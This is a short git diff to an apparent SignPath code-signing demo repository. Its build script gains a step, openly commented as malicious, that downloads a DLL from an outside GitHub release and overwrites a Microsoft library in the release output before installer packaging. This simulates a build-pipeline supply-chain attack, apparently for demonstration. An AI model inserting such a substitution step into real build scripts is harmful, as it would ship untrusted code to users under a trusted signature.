diff --git a/.github/workflows/build-and-sign.yml b/.github/workflows/build-and-sign.yml
index 4bf2185..cbea593 100644
--- a/.github/workflows/build-and-sign.yml
+++ b/.github/workflows/build-and-sign.yml
@@ -5,8 +5,6 @@ run-name: Demo workflow signing with SignPath
 on: 
   push:
   pull_request:
-  #schedule:
-  #  - cron:  '30 3 * * *' # every day at 3:30am UTC
   workflow_dispatch: # Allows you to run this workflow manually from the Actions tab
 
 jobs:
diff --git a/src/Build.ps1 b/src/Build.ps1
index 3614b9a..8dfcaa8 100644
--- a/src/Build.ps1
+++ b/src/Build.ps1
@@ -1,6 +1,10 @@
 # build .Net application
 dotnet build --configuration Release src/DemoExample.csproj
 
+# maliciously replace the Microsoft DLL
+Invoke-WebRequest https://github.com/carterjones/hello-world-dll/releases/download/v1.0.0/hello-world-x64.dll `
+  -OutFile .\src\bin\Release\net7.0\Microsoft.Extensions.DependencyModel.dll
+
 # build MSI installer
 Copy-Item .\src\installer\description.wxs .\src\bin\Release\net7.0\description.wxs -Force
 Push-Location .\src\bin\Release\net7.0